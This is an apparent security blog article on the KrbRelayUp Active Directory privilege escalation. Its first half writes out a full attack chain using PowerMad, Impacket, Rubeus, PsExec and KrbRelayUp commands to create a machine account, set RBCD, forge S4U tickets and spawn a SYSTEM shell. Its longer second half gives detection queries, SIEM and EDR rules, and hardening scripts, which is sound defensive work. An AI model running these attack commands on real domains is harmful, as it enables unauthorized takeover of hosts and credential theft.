Skip to Content
KrbRelayUp attack flow showing Kerberos relay to LDAP and RBCD abuse for local privilege escalation

KrbRelayUp Attack and Defense

Notes on relaying Kerberos authentication to LDAP and abusing RBCD for local privilege escalation in Active Directory environments.

Dec 29, 2025
Updated Nov 22, 2026
26 min read

Description

KrbRelayUp is a local privilege escalation that takes a standard domain user to SYSTEM on a domain-joined Windows workstation or server. It coerces the machine account to authenticate over Kerberos on the local host, relays that authentication to LDAP on a domain controller, and uses it to write Resource-Based Constrained Delegation (RBCD) on the host's own computer object. No privileged credentials are needed at any point.

The pieces it chains together:

  • Kerberos, the default authentication protocol in Active Directory.
  • RBCD, where a computer object lists the accounts allowed to delegate to it in msDS-AllowedToActOnBehalfOfOtherIdentity.
  • The S4U2Self and S4U2Proxy Kerberos extensions, which let a service get tickets on behalf of another user.
  • A relay of the machine account's authentication to LDAP, which is what lets an unprivileged user write to the computer object.

On a default domain the only requirement is a normal user account. Every step uses legitimate protocol features, so there is no single malicious API call to alert on, and the end result is SYSTEM on the host.

Works on patched hosts

KrbRelayUp needs no misconfigured service or weak file permission. It abuses default domain settings (LDAP signing not enforced, a non-zero machine account quota), so a fully patched host is still exposed until the domain is hardened.

Impact

SYSTEM on a workstation or server means:

  • Full control of the host.
  • LSASS access, which yields credentials for anyone else logged on.
  • A foothold for lateral movement, and a path to domain admin if a privileged user has a session there.
  • The ability to install persistence, read local data, and tamper with or disable EDR.

It matters most in environments that rely on users not being local admins. On a domain with default settings, KrbRelayUp turns any domain-joined host a user can log on to into an admin host.

Technical details

Prerequisites

Technical requirements:

  • Standard domain user credentials
  • Network connectivity to domain controller (LDAP and Kerberos)
  • Computer account creation rights (default: 10 machine accounts per user via ms-DS-MachineAccountQuota)
  • Port 389 (LDAP) or 636 (LDAPS) accessible on domain controller
  • Local network access (cannot be performed remotely)

Default Active Directory permissions: On a default domain, users already hold the rights KrbRelayUp needs:

  • Create up to 10 computer accounts (ms-DS-MachineAccountQuota=10)
  • Modify msDS-AllowedToActOnBehalfOfOtherIdentity attribute on owned computer objects
  • Request service tickets via S4U2Self and S4U2Proxy

Attack chain

The stages below are what the tool does under the hood, broken out so each one can be run or detected separately.

Step 1: Create a new computer account

As a domain user, add a computer account you control:

# Using PowerMad.ps1
Import-Module .\PowerMad.ps1
New-MachineAccount -MachineAccount "FAKE01" -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Verbose

# Using Impacket addcomputer.py
python3 addcomputer.py -method LDAPS -computer-name 'FAKE01$' -computer-pass 'Password123!' 'DOMAIN/user:password' -dc-ip 10.10.10.1

FAKE01$ now exists in the domain and you know its password. Each user can create up to 10 of these by default (ms-DS-MachineAccountQuota).

Step 2: Configure RBCD on the target

Write the new account into the target computer's msDS-AllowedToActOnBehalfOfOtherIdentity attribute. In the real attack this write comes through the relayed LDAP session (step 4), because a normal user cannot write the attribute directly:

# Using PowerView
Set-DomainObject -Identity "TARGET$" -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SD} -Verbose

# Using Impacket rbcd.py
python3 rbcd.py -delegate-from 'FAKE01$' -delegate-to 'TARGET$' -action write 'DOMAIN/user:password' -dc-ip 10.10.10.1

TARGET$ now trusts FAKE01$ for delegation, so FAKE01$ can get tickets to TARGET$ as any user that is not protected from delegation.

Step 3: Trigger local authentication through the OXID resolver

KrbRelayUp starts a COM server and uses the local OXID resolver to make the SYSTEM account authenticate to it:

# The KrbRelayUp tool automates this process
# It triggers local OXID resolver which attempts to authenticate to the relay server

SYSTEM authenticates to the tool's listener. On the network, SYSTEM is the machine account, so this is TARGET$ authenticating, and that authentication is what gets relayed.

Step 4: Relay authentication to LDAP

The captured authentication goes to LDAP on the domain controller:

# KrbRelayUp automatically performs the relay
.\KrbRelayUp.exe relay -Domain corp.local -CreateNewComputerAccount -ComputerName FAKE01 -ComputerPassword Password123!

The Kerberos authentication captured through the OXID trigger is forwarded to LDAP on the DC, and the session runs as TARGET$. A computer can write its own RBCD attribute, so this is where step 2 actually happens. The capture side runs over loopback, so network sensors never see it.

Step 5: Request a service ticket via S4U2Proxy

With RBCD in place, request a service ticket to the target as a privileged user:

# Request service ticket impersonating Administrator
.\Rubeus.exe s4u /user:FAKE01$ /rc4:<NTLM_hash> /impersonateuser:Administrator /msdsspn:cifs/TARGET.corp.local /ptt

# Using Impacket getST.py
python3 getST.py -spn cifs/TARGET.corp.local -impersonate Administrator -dc-ip 10.10.10.1 DOMAIN/FAKE01$:Password123!

S4U2Self gets FAKE01$ a forwardable ticket for Administrator to itself. S4U2Proxy then trades that for a service ticket to cifs/TARGET.corp.local as Administrator.

Step 6: Use the ticket for local admin access

Load the ticket and use it against the target:

# Inject ticket into session
.\Rubeus.exe ptt /ticket:ticket.kirbi

# Access administrative share
dir \\TARGET\C$

# Execute commands as SYSTEM
.\PsExec.exe \\TARGET cmd.exe

With the ticket in the session you have administrative access to the host. KrbRelayUp's spawn command does this step for you and starts a SYSTEM shell through the Service Control Manager.

KrbRelayUp tool usage

The tool runs the whole chain in one go:

Full attack:

# Method 1: Shadow credential attack (requires LDAPS)
.\KrbRelayUp.exe full -m shadowcred -cls GUID -Domain corp.local

# Method 2: RBCD attack
.\KrbRelayUp.exe full -m rbcd -p Password123! -Domain corp.local -CreateNewComputerAccount

# Method 3: ADCS abuse (if Certificate Services available)
.\KrbRelayUp.exe full -m adcs -Domain corp.local -Template Machine

Relay and spawn as separate steps:

# Start relay server
.\KrbRelayUp.exe relay -cls GUID -CreateNewComputerAccount -ComputerName FAKE01 -ComputerPassword Password123!

# After relay completes, spawn system shell
.\KrbRelayUp.exe spawn -m rbcd -d corp.local -cn FAKE01 -cp Password123!

Cleanup:

# Remove created computer account and RBCD configuration
.\KrbRelayUp.exe cleanup -d corp.local -cn FAKE01

Attack Variations

1. Shadow Credentials

Writes a key to msDS-KeyCredentialLink (Key Trust) instead of configuring RBCD:

# Requires LDAPS (port 636)
.\KrbRelayUp.exe full -m shadowcred -cls GUID

No computer account is created, so it works when the machine account quota is 0. It needs LDAPS on the DC, and the domain needs at least one Windows Server 2016 or later DC for PKINIT with key credentials.

2. AD CS certificate

Relays to Active Directory Certificate Services and enrolls a certificate for the machine account:

# Requires ADCS with vulnerable certificate template
.\KrbRelayUp.exe full -m adcs -Template Machine

The certificate stays valid for its full lifetime and survives a machine account password change, so it doubles as persistence.

3. Manual RBCD with an existing computer account

If you already control a computer account and have write access to the target object:

# Configure RBCD manually
Import-Module .\PowerView.ps1
$ComputerSid = Get-DomainComputer FAKE01 -Properties objectsid | Select-Object -ExpandProperty objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer TARGET | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

# Request service ticket
.\Rubeus.exe s4u /user:FAKE01$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/TARGET /ptt

Detection

No single event gives KrbRelayUp away. Detection comes from watching each stage and correlating them on the DC.

Event log monitoring

Event ID 4741: computer account created

The RBCD variant starts with a new computer account:

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
      *[System[(EventID=4741)]]
      and
      *[EventData[Data[@Name='SubjectUserName'] != '$']]
    </Select>
  </Query>
</QueryList>

What to look for:

  • A computer account created by a user account rather than SYSTEM, a domain controller or your provisioning account.
  • Names that look scripted (FAKE01, ATTACK$ and similar).
  • Several computer accounts created by one user in a short window.

Event ID 5136: directory object modified

The RBCD write is a change to msDS-AllowedToActOnBehalfOfOtherIdentity on the target computer object. Event 4742 does not show it: its AllowedToDelegateTo field tracks msDS-AllowedToDelegateTo, which is classic constrained delegation. Event 5136 records the attribute name. It needs Audit Directory Service Changes and a SACL on the computer objects:

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
      *[System[(EventID=5136)]]
      and
      *[EventData[Data[@Name='AttributeLDAPDisplayName']='msDS-AllowedToActOnBehalfOfOtherIdentity']]
    </Select>
  </Query>
</QueryList>

Event ID 4768: Kerberos TGT request

Look for TGT requests from computer accounts created minutes earlier:

# Look for newly created computer accounts requesting TGTs
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768} |
  Where-Object {$_.Properties[0].Value -like "*$" -and $_.TimeCreated -gt (Get-Date).AddMinutes(-10)} |
  Select-Object TimeCreated, @{N='Account';E={$_.Properties[0].Value}}, @{N='ClientAddress';E={$_.Properties[9].Value}}

Event ID 4769: Kerberos service ticket request

S4U2Proxy requests show up here:

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
      *[System[(EventID=4769)]]
      and
      *[EventData[Data[@Name='TicketOptions']='0x40810000']]
      and
      *[EventData[Data[@Name='ServiceName'] != 'krbtgt']]
    </Select>
  </Query>
</QueryList>

S4U2Proxy indicators:

  • TicketOptions 0x40810000 (forwardable, renewable, canonicalize).
  • The Transited Services field is populated, which means delegation was used.
  • Service tickets requested right after the computer account was created.

SIEM correlation

Splunk:

# Detect KrbRelayUp attack pattern
index=windows (EventCode=4741 OR EventCode=4742 OR EventCode=4769)
| transaction Subject_Account_Name maxspan=10m
| where EventCode=4741 AND EventCode=4742 AND EventCode=4769
| stats count by Subject_Account_Name, Computer_Account_Name, Target_Computer
| where count >= 3

Microsoft Sentinel (KQL):

// KrbRelayUp detection rule
let timeframe = 15m;
let ComputerCreation = SecurityEvent
| where TimeGenerated > ago(timeframe)
| where EventID == 4741
| where SubjectUserName !endswith "$"
| project TimeGenerated, CreatorAccount=SubjectUserName, ComputerAccount=TargetUserName, Computer;
let RBCDModification = SecurityEvent
| where TimeGenerated > ago(timeframe)
| where EventID == 5136
| where EventData has "msDS-AllowedToActOnBehalfOfOtherIdentity"
| extend TargetComputer = extract(@'Name="ObjectDN">([^<]+)<', 1, EventData)
| project TimeGenerated, ModifierAccount=SubjectUserName, TargetComputer;
let S4URequests = SecurityEvent
| where TimeGenerated > ago(timeframe)
| where EventID == 4769
| where TicketOptions == "0x40810000"
| project TimeGenerated, RequestingAccount=SubjectUserName, ServiceName;
ComputerCreation
| join kind=inner (RBCDModification) on $left.CreatorAccount == $right.ModifierAccount
| join kind=inner (S4URequests) on $left.ComputerAccount == $right.RequestingAccount
| project TimeGenerated, CreatorAccount, ComputerAccount, TargetComputer, ServiceName

Behavioral indicators

AreaWhat stands out
Computer account creationOne user creating several accounts, scripted names, creation outside business hours
RBCD changesAny new msDS-AllowedToActOnBehalfOfOtherIdentity value, especially on workstations where RBCD is rare
S4U requestsA new computer account requesting service tickets straight away, S4U2Proxy from workstation accounts, tickets for Administrator or other privileged users
LDAP queriesReads of ms-DS-MachineAccountQuota, searches for computers with RBCD set, enumeration of computer object ACLs

Decoy computer accounts

A decoy computer account catches reconnaissance and tampering:

# Create honeypot computer account
New-ADComputer -Name "HONEYPOT-LEGACY" -Path "OU=Workstations,DC=corp,DC=local" -Description "Decommissioned system"

# Monitor for any authentication or modification attempts
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624,4741,4742} |
  Where-Object {$_.Message -like "*HONEYPOT-LEGACY*"}

Nothing legitimate touches the decoy, so any event that names it is worth an alert.

Remediation

Break the chain first, then remove whatever the attacker created.

Immediate response

Step 1: Identify suspicious computer accounts

# Find recently created computer accounts
Get-ADComputer -Filter {whenCreated -gt $((Get-Date).AddDays(-7))} -Properties whenCreated, Creator |
  Select-Object Name, whenCreated, Creator |
  Where-Object {$_.Creator -notlike "*DC=*"}

# Check computer account creation by users
Search-ADAccount -AccountDisabled | Where-Object {$_.ObjectClass -eq "computer"}

Step 2: Remove malicious RBCD entries

# Find computers with RBCD configured
Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
  Where-Object {$_.'msDS-AllowedToActOnBehalfOfOtherIdentity'} |
  Select-Object Name, @{N='AllowedPrincipals';E={$_.'msDS-AllowedToActOnBehalfOfOtherIdentity'}}

# Remove malicious RBCD configuration
Set-ADComputer -Identity "TARGET" -Clear msDS-AllowedToActOnBehalfOfOtherIdentity

# Verify removal
Get-ADComputer -Identity "TARGET" -Properties msDS-AllowedToActOnBehalfOfOtherIdentity

Step 3: Delete attacker-created computer accounts

# Delete suspicious computer accounts (verify first!)
Remove-ADComputer -Identity "FAKE01" -Confirm:$true

# Force Kerberos ticket revocation
klist purge -li 0x3e7

Step 4: Reset compromised account passwords

# Reset computer account password
Reset-ComputerMachinePassword -Server DC01.corp.local

# For domain controllers, reset KRBTGT if domain admin was compromised
# This requires TWO resets with 24-hour wait between

Step 5: Hunt for persistence

# Check for scheduled tasks
Get-ScheduledTask | Where-Object {$_.Principal.UserId -like "*FAKE01*"} |
  Select-Object TaskName, TaskPath, State

# Review services
Get-WmiObject Win32_Service | Where-Object {$_.StartName -like "*FAKE01*"} |
  Select-Object Name, PathName, StartMode, State

# Audit local administrators group
Get-LocalGroupMember -Group "Administrators"

Long-term mitigation

1. Stop users creating computer accounts

Setting the machine account quota to 0 removes the account the RBCD variant depends on:

# Set ms-DS-MachineAccountQuota to 0
Set-ADDomain -Identity corp.local -Replace @{"ms-DS-MachineAccountQuota"="0"}

# Verify the change
Get-ADDomain | Select-Object -ExpandProperty ms-DS-MachineAccountQuota

# Create a dedicated group for computer account management
New-ADGroup -Name "Computer Account Creators" -GroupScope Global -GroupCategory Security

# Grant delegation only to this group (via Active Directory Users and Computers)
# Right-click domain > Delegate Control > Add group > "Join computers to domain"

2. Enforce LDAP signing and channel binding

This stops the relay to LDAP, which every variant except AD CS depends on:

# Enable LDAP signing (Group Policy)
# Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options
# "Domain controller: LDAP server signing requirements" = Require signing

# Enable LDAP channel binding
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" -Name "LdapEnforceChannelBinding" -Value 2 -PropertyType DWORD -Force

# Restart NTDS service (requires reboot or maintenance window)
Restart-Service NTDS

3. Turn on Extended Protection for Authentication (EPA)

# Enable EPA for all services
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\HTTP\Parameters" -Name "DisableExtendedProtection" -Value 0

# Configure via Group Policy
# Computer Configuration > Administrative Templates > System > Extended Protection for Authentication

4. Restrict RBCD changes

Limit who can write msDS-AllowedToActOnBehalfOfOtherIdentity:

# Create security group for RBCD management
New-ADGroup -Name "RBCD Administrators" -GroupScope Global -GroupCategory Security

# Remove default permissions allowing computer self-modification
$acl = Get-Acl "AD:\CN=Computers,DC=corp,DC=local"
$acl.Access | Where-Object {$_.IdentityReference -like "*SELF*" -and $_.ActiveDirectoryRights -like "*WriteProperty*"} | ForEach-Object {$acl.RemoveAccessRule($_)}
Set-Acl -Path "AD:\CN=Computers,DC=corp,DC=local" -AclObject $acl

5. Turn on Kerberos auditing

# Enable detailed Kerberos event logging
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable

# Enable S4U2Proxy logging (requires registry modification)
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters" -Name "LogLevel" -Value 1 -PropertyType DWORD -Force

6. Use Privileged Access Workstations (PAWs)

# Restrict where privileged accounts can authenticate
# Configure authentication policies for high-value accounts
New-ADAuthenticationPolicy -Name "Administrator Protection" -UserAllowedToAuthenticateFrom "O:SYG:SYD:(A;;CR;;;WD)" -UserTGTLifetimeMins 120

# Apply to administrator accounts
Set-ADUser -Identity Administrator -AuthenticationPolicy "Administrator Protection"

Prevention

Machine account quota

Set the quota to 0 and watch for creation attempts:

# Query current setting
Get-ADDomain | Select-Object -ExpandProperty ms-DS-MachineAccountQuota

# Set to 0 to prevent user-created computer accounts
Set-ADDomain -Identity corp.local -Replace @{"ms-DS-MachineAccountQuota"="0"}

# Create audit script to monitor attempts
$ScriptBlock = {
    Get-WinEvent -FilterHashtable @{LogName='Security';ID=4741} |
    Where-Object {$_.Properties[4].Value -ne "DC=$" -and $_.Properties[4].Value -ne "SYSTEM"} |
    ForEach-Object {
        $props = @{
            TimeCreated = $_.TimeCreated
            Creator = $_.Properties[4].Value
            ComputerAccount = $_.Properties[0].Value
            Result = $_.Properties[8].Value
        }
        [PSCustomObject]$props
    }
}

# Schedule monitoring
Register-ScheduledTask -TaskName "MonitorComputerCreation" -Trigger (New-JobTrigger -Daily -At 9am) -Action (New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "-Command $ScriptBlock")

Set ms-DS-MachineAccountQuota to 0 in every domain, delegate computer account creation to a specific group, put new computer accounts through an approval step, and review existing computer accounts on a schedule.

LDAP hardening

Require signing and channel binding on every DC:

# Enable LDAP signing requirement
$DCs = Get-ADDomainController -Filter *
foreach ($DC in $DCs) {
    Invoke-Command -ComputerName $DC.HostName -ScriptBlock {
        Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" -Name "LDAPServerIntegrity" -Value 2
        Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" -Name "LdapEnforceChannelBinding" -Value 2
    }
}

# Configure via Group Policy (preferred method)
# Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options
# "Domain controller: LDAP server signing requirements" = Require signing
# "Domain controller: LDAP server channel binding token requirements" = Always

# Verify configuration
Get-ADDomainController -Filter * | ForEach-Object {
    Invoke-Command -ComputerName $_.HostName -ScriptBlock {
        Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" |
        Select-Object LDAPServerIntegrity, LdapEnforceChannelBinding
    }
}

LDAPS:

# Install certificate on domain controllers
# Ensure LDAPS (port 636) is available

# Test LDAPS connectivity
$ldapConnection = New-Object System.DirectoryServices.Protocols.LdapConnection("dc01.corp.local:636")
$ldapConnection.SessionOptions.SecureSocketLayer = $true
$ldapConnection.SessionOptions.VerifyServerCertificate = {$true}
$ldapConnection.Bind()

RBCD monitoring

Baseline RBCD entries and alert on new ones:

# Create baseline of legitimate RBCD configurations
$Baseline = Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
  Where-Object {$_.'msDS-AllowedToActOnBehalfOfOtherIdentity'} |
  Select-Object Name, @{N='Delegation';E={$_.'msDS-AllowedToActOnBehalfOfOtherIdentity'}} |
  Export-Csv -Path "C:\Baseline\RBCD_Baseline.csv" -NoTypeInformation

# Daily comparison script
Function Compare-RBCDBaseline {
    $Current = Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
      Where-Object {$_.'msDS-AllowedToActOnBehalfOfOtherIdentity'}

    $Baseline = Import-Csv -Path "C:\Baseline\RBCD_Baseline.csv"

    $NewDelegations = Compare-Object -ReferenceObject $Baseline -DifferenceObject $Current -Property Name |
      Where-Object {$_.SideIndicator -eq "=>"}

    if ($NewDelegations) {
        $alertMessage = "New RBCD configurations detected:`n"
        foreach ($item in $NewDelegations) {
            $alertMessage += "  - $($item.Name)`n"
        }
        # Send alert (email, SIEM, etc.)
        Write-Warning $alertMessage
    }
}

# Schedule daily check
$trigger = New-JobTrigger -Daily -At 6am
Register-ScheduledJob -Name "RBCD Audit" -Trigger $trigger -ScriptBlock ${Function:Compare-RBCDBaseline}

Remove self-write rights:

# Prevent computer accounts from modifying their own delegation settings
Import-Module ActiveDirectory
$computers = Get-ADComputer -Filter * -SearchBase "CN=Computers,DC=corp,DC=local"

foreach ($computer in $computers) {
    $acl = Get-Acl "AD:\$($computer.DistinguishedName)"
    $selfSid = [System.Security.Principal.SecurityIdentifier]"S-1-5-10" # SELF

    $rulesToRemove = $acl.Access | Where-Object {
        $_.IdentityReference -eq $selfSid -and
        $_.ActiveDirectoryRights -like "*WriteProperty*" -and
        $_.ObjectType -eq "00000000-0000-0000-0000-000000000000" # All properties
    }

    foreach ($rule in $rulesToRemove) {
        $acl.RemoveAccessRule($rule) | Out-Null
    }

    Set-Acl -Path "AD:\$($computer.DistinguishedName)" -AclObject $acl
}

Network controls

SMB signing:

# Enable SMB signing domain-wide (Group Policy)
# Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options
# "Microsoft network client: Digitally sign communications (always)" = Enabled
# "Microsoft network server: Digitally sign communications (always)" = Enabled

# Disable SMBv1
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart

# Verify SMB signing configuration
Get-SmbServerConfiguration | Select-Object EnableSMB1Protocol, RequireSecuritySignature, EncryptData

Segmentation:

# Implement firewall rules to restrict LDAP access
New-NetFirewallRule -DisplayName "Restrict LDAP to DCs" -Direction Outbound -Protocol TCP -LocalPort 389,636 -Action Block -RemoteAddress Any

# Allow only to domain controllers
New-NetFirewallRule -DisplayName "Allow LDAP to DC" -Direction Outbound -Protocol TCP -LocalPort 389,636 -Action Allow -RemoteAddress "10.10.10.10,10.10.10.11"

EDR detection

Endpoint detection rules:

# Create custom detection rule for KrbRelayUp execution
# Monitor for process creation of known KrbRelayUp executables

# Windows Defender ATP custom detection
# DeviceProcessEvents
# | where ProcessCommandLine contains "KrbRelayUp"
#    or ProcessCommandLine contains "relay -cls"
#    or ProcessCommandLine contains "full -m rbcd"
# | project Timestamp, DeviceName, FileName, ProcessCommandLine, AccountName

# Monitor for OXID resolver activity
# DeviceNetworkEvents
# | where RemotePort == 135
#    and LocalIP == RemoteIP  # Loopback connection
# | where ProcessName in~ ("KrbRelayUp.exe", "Rubeus.exe")

Behavioral rules:

  • Alert when one process talks to both LDAP (389/636) and RPC (135) at the same time.
  • Detect PowerShell importing PowerMad or PowerView.
  • Correlate new computer accounts with S4U requests in the following 24 hours.
  • Flag workstations writing to LDAP on domain controllers.

Verification

Check the hardening

Check the machine account quota

# Verify ms-DS-MachineAccountQuota is set to 0
Get-ADDomain | Select-Object -ExpandProperty ms-DS-MachineAccountQuota

# Expected output: 0

Verify LDAP signing

# Check LDAP signing settings on domain controllers
$DCs = Get-ADDomainController -Filter *
foreach ($DC in $DCs) {
    $result = Invoke-Command -ComputerName $DC.HostName -ScriptBlock {
        Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" |
        Select-Object PSComputerName, LDAPServerIntegrity, LdapEnforceChannelBinding
    }
    $result
}

# Expected values:
# LDAPServerIntegrity: 2 (Require signing)
# LdapEnforceChannelBinding: 2 (Always)

Audit RBCD entries

# List all computers with RBCD configured
Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
  Where-Object {$_.'msDS-AllowedToActOnBehalfOfOtherIdentity'} |
  Select-Object Name, DNSHostName, @{N='AllowedDelegation';E={
    $bytes = $_.'msDS-AllowedToActOnBehalfOfOtherIdentity'
    if ($bytes) {
      $sd = New-Object System.DirectoryServices.ActiveDirectorySecurity
      $sd.SetSecurityDescriptorBinaryForm($bytes)
      $sd.Access | Select-Object -ExpandProperty IdentityReference
    }
  }}

# Review each entry to ensure legitimacy

Test detection

In an authorized test environment only:

# Test computer account creation monitoring
New-ADComputer -Name "TEST-KRBRELAYUP" -Path "OU=Test,DC=corp,DC=local" -Enabled $false

# Verify alert generation in SIEM
# Expected: Alert within 5 minutes of creation

# Cleanup
Remove-ADComputer -Identity "TEST-KRBRELAYUP" -Confirm:$false

Other considerations

Multi-domain forests

The quota and LDAP settings are per domain, so one domain left at defaults is enough:

# Enumerate trusts
Get-ADTrust -Filter *

# KrbRelayUp can target computers in trusted domains
# Mitigation: Apply ms-DS-MachineAccountQuota=0 in ALL domains

Hybrid environments

Devices joined only to Entra ID (Azure AD) have no on-premises computer object, so the classic chain does not apply. Hybrid-joined devices do have one and are exposed:

# Identify hybrid-joined computers
Get-ADComputer -Filter * -Properties msDS-cloudExtensionAttribute1 |
  Where-Object {$_.'msDS-cloudExtensionAttribute1'} |
  Select-Object Name, DNSHostName

# Apply same mitigations to hybrid-joined devices

Windows versions and patching

Affected:

  • Windows Server 2012 R2 and later
  • Windows 8.1 and later
  • Any version that supports Resource-Based Constrained Delegation

Microsoft has not shipped a patch for KrbRelayUp because it abuses intended behavior. The fix is configuration: LDAP signing and channel binding, and a machine account quota of 0.

Fallbacks when the RBCD path is blocked

  • Shadow Credentials, if LDAPS is reachable and channel binding is not enforced (writes msDS-KeyCredentialLink).
  • AD CS abuse through misconfigured certificate templates.
  • Plain NTLM relay where SMB signing is not enforced.

References

MITRE ATT&CK Techniques

Microsoft Documentation

Security Research

Tools Documentation

Next steps

If a domain is exposed to KrbRelayUp:

  • Set ms-DS-MachineAccountQuota to 0 in every domain.
  • Enforce LDAP signing and channel binding on every domain controller.
  • Alert on any change to RBCD entries.
  • Turn on Kerberos service ticket auditing and send it to the SIEM.
  • Related notes:

On this page